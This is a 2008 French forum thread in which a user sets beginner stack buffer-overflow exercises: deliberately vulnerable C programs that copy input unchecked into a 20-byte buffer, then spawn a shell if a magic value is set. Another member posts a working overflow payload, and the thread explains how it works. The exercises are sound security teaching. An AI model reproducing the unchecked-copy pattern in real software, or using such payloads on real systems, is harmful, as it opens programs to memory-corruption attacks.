Iyas Posté(e) le 5 avril 2008 Share Posté(e) le 5 avril 2008 Bon alors il semble que des gens s'interessent à la sécurité sur le Forum. C'est pour cela que je vous propose un petit jeu que j'avais fait à l'époque et dont l'objectif et d'apprendre à exploiter les "buffer overflow" sous Unix et plus particulièrement sous LINUX. Alors je ne sais pas si ca va intéresser quelqu'un mais je lance l'idée et puis on verra... Pour commencer je vous donne le petit programme C suivant: ---- newbie1.c ----- #include int main (int argc, char **argv) { int crap; int check; char buf[20]; strcpy(buf, argv[1]); if (check==0xdeadbeef) { system("/bin/tcsh"); } } ---- newbie1.c ----- L'objectif ici est de me donner la réponse sous forme d'un petit programme C qui construira le buffer, puis qui exécutera le programme ci dessus compilé, en passant le buffer attendu en argument. L'objectif ici est de rentrer dans la partie de code suivante: if (check==0xdeadbeef) { system("/bin/tcsh"); } Allez à vous de jouer ! Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Boss_Med Posté(e) le 5 avril 2008 Share Posté(e) le 5 avril 2008 j'aime énormement ces trucs mais je comprend pas en c mais je v comme meme chercher EDIT:l'idée est de faire passer plus que 20 caractère c'est ça ? Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Iyas Posté(e) le 5 avril 2008 Auteur Share Posté(e) le 5 avril 2008 Ouép L'idée des 20 char est bien la. Mais la c'est du C niveau débutant donc c'est le moment de s'y mettre. La réponse ne doit pas dépasser une dizaine de lignes et encore je suis gentil Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Boss_Med Posté(e) le 5 avril 2008 Share Posté(e) le 5 avril 2008 ah tu es gentil !! ok accroche toi aux questions dans ce cas la pour commencer une simple question ^_^ qu'est ce que c'est les "**" Edit:Le programme ne marche pas chez moi il m'écrit que "strcpy" doit étre déclaré ou quelque chose comme ça :S Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Iyas Posté(e) le 5 avril 2008 Auteur Share Posté(e) le 5 avril 2008 Google est ton ami Tu trouveras plein de tutoriaux sur le language C en ligne. Bon courage Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
mouradski Posté(e) le 5 avril 2008 Share Posté(e) le 5 avril 2008 Salem, donne nous le but recherché par la manip comme indice et j'essaierais de trouver! sans google, c'est promis.. Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
mouradski Posté(e) le 5 avril 2008 Share Posté(e) le 5 avril 2008 n'ayant pas la reponse je me permet de repondre au question de Boss_med, les (int argc, char **argv) c'est equivalant au (int argc, string args[]) du java. le char *args c'est pour representer une chaine de caractere, args est un pointeur pointant vers la case memoire contenant le premier caractere et tout ce qui suit (les cases) sont la suite de la chaine jusqu'a un caractere special, pour la 2eme * c'est pr dire que c'est un pointeur de pointeur de char (argv), autrement dit un tableau (suite de cases "pointeur" de type char) et tout comme java le [index] permetera d'acceder (faire le calcul d'@) pour acceder à l'élément voulu (ici pointeur de char ou en langage up : un string).........je me suis moi meme embrouillé. bref, le vecteur argv c'est la suite de chaine pris en argument par le programme, comme par ex format c: /q , ici argv[0] est "c:" et argv[1] est "/q", et argc = 2 puisqu'il y'a 2 params. dsl lyas pour le HS. Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
assilabox Posté(e) le 6 avril 2008 Share Posté(e) le 6 avril 2008 A vrai dire je n'ai pas très bien saisi l'objectif. Si je comprend bien le but est de provoquer un débordement du buffer. L'objectif ici est de rentrer dans la partie de code suivante: if (check==0xdeadbeef) { system("/bin/tcsh"); } Pour s'y faire il faut rajouter des lignes de code dans la structure conditionnelle IF... L'objectif ici est de me donner la réponse sous forme d'un petit programme C qui construira le buffer, puis qui exécutera le programme ci dessus compilé, en passant le buffer attendu en argument. Tu parles aussi de programme compilé... cela veut dire que pour causer le débordement il fraudera analyser le code machine généré par ton code. c'est bien ça ? فهم السؤال ، نصف الجواب Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Iyas Posté(e) le 6 avril 2008 Auteur Share Posté(e) le 6 avril 2008 Bon ok je n'ai pas été très clair... Je vous prépapre une petite démo histoire que vous compreniez un peu mieux le principe A tout d'suite Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Iyas Posté(e) le 6 avril 2008 Auteur Share Posté(e) le 6 avril 2008 Bon alors pour commencer on va faire plus simple... Prenons le code suivant: /* newbie1.c */ #include int main(int argc, char **argv) { int crap; int check; char buf[20]; if (argc exit(1); strcpy(buf,argv[1]); if (check==0x42424242) system("/bin/sh"); } /* newbie1.c */ La première question à se poser est: que fait le code ci dessus ? Et bien c'est simple, dans un premier temps il copie argv[1] dans buf. argv[1] ici est l'argument passé au programme lors de son exécution. Puis, il compare la valeur de l'entier check, et si ce dernier est bien égal à 0x42424242 et bien il exécute system("/bin/sh");. Pas très compliqué hun ? Donc biensur il vous faut un linux à disposition... [cb@ns34229 cb]$ vi newbie1.c On copie colle le code ci dessus, puis on le compile: [cb@ns34229 cb]$ gcc -o newbie1 newbie1.c [cb@ns34229 cb]$ L'objectif maintenant est d'obtenir l'exécution de system("/bin/sh") en passant le buffer qui convient en argument: [cb@ns34229 cb]$ ./newbie1 abcdefghj [cb@ns34229 cb]$ Il ne se passe donc rien... Maintenant voilà ce que ca donne avec la bonne réponse (que je vais cacher bien évidemment) : [cb@ns34229 cb]$ ./newbie1 [le_buffer_magique] sh-2.05$ On constate que le programme newbie1 à bien exécuté la partie du code system("/bin/sh"); Pour ce premier exercice, pas besoin de coder quoi que ce soit Il vous suffit de passer le bon argument au programme newbie1. Voilà J'espere que c'est un peu plus clair Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Amine Posté(e) le 6 avril 2008 Share Posté(e) le 6 avril 2008 Salam j'ai pas lu ton dernier message, j'ai utilisé l'exemple de ton premier message voici l'exploit lol: #include int main (int argc, char **argv) { printf("owned sans da3wet echar \n"); system("./newbie1 11111111111111111111AAAA\xef\xbe\xad\xde"); } Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Iyas Posté(e) le 6 avril 2008 Auteur Share Posté(e) le 6 avril 2008 Ben ca à l'air d'être ca T'es testé ca marche ? Sur le linux sur lequel j'ai testé, je dois mettre quelque chose comme 46 char avant d'écrire sur check Ca fait ca chez toi aussi ? Et puis heu system() interprète bien les \xfe ? je ne savais pas ca Je préfère utiliser execl et passer le buffer direct en argument Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
mouradski Posté(e) le 6 avril 2008 Share Posté(e) le 6 avril 2008 Salem, ça demande des connaissances dans la compilation des des environements (organisation memoire), j'ai trouvé un doc qui en parle, le temps de finir le boulot, de le lire et je reviens tenter ma chance. Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Amine Posté(e) le 6 avril 2008 Share Posté(e) le 6 avril 2008 salut lyas, Oui j'ai testé ça marche. Pourquoi 46 chars chez toi? Prochain exemple trouve nous un truc avec shell code et functions . Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
mouradski Posté(e) le 6 avril 2008 Share Posté(e) le 6 avril 2008 stop stop stop stop....c'est trop facile de donner la solution comme ça, faut poster le pourquoi de la chose, j'exige une explication... Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Iyas Posté(e) le 6 avril 2008 Auteur Share Posté(e) le 6 avril 2008 Amine, Chaque chose en son temps Aller un autre un peu plus complexe: /* Newbie2.c */ int main(int argc, char **argv) { int crap; int *check; char buf[20]; if (argc exit(1); strcpy(buf,argv[1]); if (*check==0xdeadbeaf) system("/bin/sh"); } Have fun Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
assilabox Posté(e) le 6 avril 2008 Share Posté(e) le 6 avril 2008 Salam, Je suis du même avis que mouardski_21, peut-on espérer recevoir une explication avant de continuer! Merci les amis stop stop stop stop....c'est trop facile de donner la solution comme ça, faut poster le pourquoi de la chose, j'exige une explication... Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Boss_Med Posté(e) le 6 avril 2008 Share Posté(e) le 6 avril 2008 +1 on veut une explication et mourad merci pour l'explication Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Iyas Posté(e) le 6 avril 2008 Auteur Share Posté(e) le 6 avril 2008 Bon ok je vais essayer d'expliquer tout ca correctement. Bon vous le savez peut être déja, nous sommes ici en présence d'un buffer overlow soit un débordement de tampon... La fonction strcpy (man strcpy) copie le contenu d'un buffer à destination d'un autre buffer sans controler la taille de ce qu'elle va copier. Dans l'exemple argv[1] est l'argument passé au programme et de taille illimitée. Hors buffer[20] lui ne peut contenir que 20 élements (de 0 à 19). Si nous dépassons ces 20 éléments, nous sortons de notre buffer pour aller écrire dans le reste de la mémoire (la stack). Ici Lorsque nous sortons du buffer et que nous dépassons les 20 éléments autorisés, nous remontons dans la stack pour écrire ensuite sur l'entier check et ainsi de suite... Donc la solution donne logiquement quelque chose comme ca: [buf 20 elements][int check][int crap] soit [AAAAAAAAAAAAAAAAAAAA][\xef\xbe\xad\xde][int crap] Ensuite les alignements, les processeurs etc..etc.. ne permettent pas forcément de tomber pile sur le nombre de caractère exact.. Il faut donc y aller a taton pour chercher a quel moment on écrit au bon endroit dans la mémoire...et c'est la que gdb est votre ami (man gdb). Bon je ne sais pas si ca sera très clair pour tout le monde Vous pouvez toujours poser des questions et j'essaierai d'y répondre le plus clairement possible. Amine, je veux bien ton aide sur ce coup la puisque tu es le seul à avoir trouvé la soluce du premier exercice. ++ Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
mouradski Posté(e) le 6 avril 2008 Share Posté(e) le 6 avril 2008 Merci Ilyas, je crois avoir compris, et aussi la dificulté "int *check" c'est qu'on declare un pointeur vers un entier et non pas un emplacement statique dans la pile de l'environement d'execution. la normalement on doit bidouiller le code, non ?? Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Iyas Posté(e) le 6 avril 2008 Auteur Share Posté(e) le 6 avril 2008 mouradski_21, Oui tu as bien compris. Dans le 2è exercice tu dois, toujours par l'intermédiaire de l'argument du programme vulnérable (argv[1]), controler deux adresses. L'objectif est de faire pointer l'adresse du pointer à destination d'une adresse ou se trouve 0xdeadbeaf...Pas facile hun ? Mais non tu n'as rien a bidouiller mis à part faire comme Amine, c'est a dire construire le buffer adapter et le passer en paramètre au programme. Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Iyas Posté(e) le 7 avril 2008 Auteur Share Posté(e) le 7 avril 2008 Toujours personne pour la solution du 2e exo ? Amine ? Le code à exploiter est le suivant: /* Newbie2.c */ int main(int argc, char **argv) { int crap; int *check; char buf[20]; if (argc exit(1); strcpy(buf,argv[1]); if (*check==0xdeadbeaf) system("/bin/sh"); } Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Amine Posté(e) le 8 avril 2008 Share Posté(e) le 8 avril 2008 Salut lyas J'ai parlé trop vite en demandant des trucs compliqués lol. Ben j'ai bien essayé ici , mais je n'ai pas réussi. En fait un processus quand il est crée initialise son propre espace d'adressage , donc il n'aura pas accés aux données du prog précédent. SAUF si je n'ai pas bien "investigué" dans la piste du fork . En tout cas j'ai pu passer le pointeur vers une zone mem partagée mais sa valeur est réinitialisée dans le nouveau prog. J'essayerai plus tard un peu plus Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Iyas Posté(e) le 8 avril 2008 Auteur Share Posté(e) le 8 avril 2008 Salam, Je pense que la tu vas beaucoup trop loin dans ton investigation L'idée ici est de controler l'adresse du pointer sur entier pour ensuite le faire pointer à une adresse ou se trouve le résultat attendu soit 0xdeadbeaf. Le seul conseil que je peux te donner c'est d'utiliser une adresse qui pointe dans buf[20]. Donc dans un premier temps essaie de trouver l'adresse de buf. Et n'oublie pas, la commande gdb est ton amie Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
mouradski Posté(e) le 8 avril 2008 Share Posté(e) le 8 avril 2008 Salut lyas J'ai parlé trop vite en demandant des trucs compliqués lol. Ben j'ai bien essayé ici , mais je n'ai pas réussi. En fait un processus quand il est crée initialise son propre espace d'adressage , donc il n'aura pas accés aux données du prog précédent. SAUF si je n'ai pas bien "investigué" dans la piste du fork . En tout cas j'ai pu passer le pointeur vers une zone mem partagée mais sa valeur est réinitialisée dans le nouveau prog. J'essayerai plus tard un peu plus je ne comprends pas ou est le probleme Amine !? une @ est unique quelque soit le prog qui l'exploite!!! sans dire trop de conneries car je ne sais si le pointeur est en far (segment:offset) et comment c'est organisé en C , alors une solution est de faire un autre prog qui créera un pointeur d'entier et initialise une valeur "0xdeadbeaf" et lance une instance du prog Newbie2.out avec comme parametre une chaine contenant le pointeur précedent (comme vous avez fait au debut avec la chaine bizzaroiide) Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Messages recommandés
Rejoindre la conversation
Vous pouvez publier maintenant et vous inscrire plus tard. Si vous avez un compte, connectez-vous maintenant pour publier avec votre compte.